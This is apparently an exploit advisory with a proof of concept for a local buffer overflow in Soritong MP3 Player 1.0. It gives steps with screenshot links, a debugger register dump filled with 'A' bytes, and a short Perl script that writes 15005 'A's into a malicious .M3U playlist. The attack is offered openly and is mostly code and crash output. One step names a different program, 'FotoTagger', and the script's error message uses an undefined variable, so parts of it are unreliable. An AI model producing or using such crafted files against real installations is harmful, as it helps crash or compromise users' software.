""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" """ :::::: :: :: :: :: :: :::: """ """ :: :: :: :: :::::: .. :::: :: """ """ ::::: ::: ::::: :: :: :: :: :: :::: """ """ :: :: :: :: : :: :: :: :: :: :: """ """ :::::: :: :: ::::: :: :::::: :: :: :::: rs.ir """ """ :: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""""""""""""""" Anti-Security Research Team & Security Institute #[+] Bug : Soritong MP3 Player 1.0 (.M3U) Local Buffer Overflow #[+] program Download : http://www.sorinara.com/ #[+] Author : the_Edit0r #[+] Contact me : the_3dit0r[at]Yahoo[dot]coM #[+] Greetz to all my friends #[+] Tested on: Windows XP Pro SP2 #[+] web site: Expl0iters.ir * Anti-security.ir #[+] Big thnx: Aria-Security Team & H4ckcity Member # Part Description : -------------------- For More Explaination look at follow pictures. I. Clicking On File Perl http://expl0iters.ir/img/SMP1.jpg II.Edit0r.M3U File Created Successfully http://expl0iters.ir/img/SMP2.jpg III.Run the Program FotoTagger & add File Edit0r.M3U ( include Edit0r.M3U File ) http://expl0iters.ir/img/SMP3.jpg http://expl0iters.ir/img/SMP4.jpg IV.Boom ...!!! ------------------------------------ EAX 00000041 ECX 00000041 EDX 00130000 ASCII "Actx " EBX 001AB474 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ESP 0012FA74 EBP 0012FCAC ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ESI 00000003 EDI 0047BEDC SoriTong.0047BEDC EIP 0040C55F SoriTong.0040C55F # Part Expl0it & Bug Codes ( Poc ) : ------------------------------------ #!/usr/bin/perl my $buffer = "A" x 15005; my $filename = "Edit0r.m3u"; open (FILE,">$filename") || die "\nCan't open $file: $!"; print FILE "$buffer"; close (FILE); print "\nSuccessfully!\n";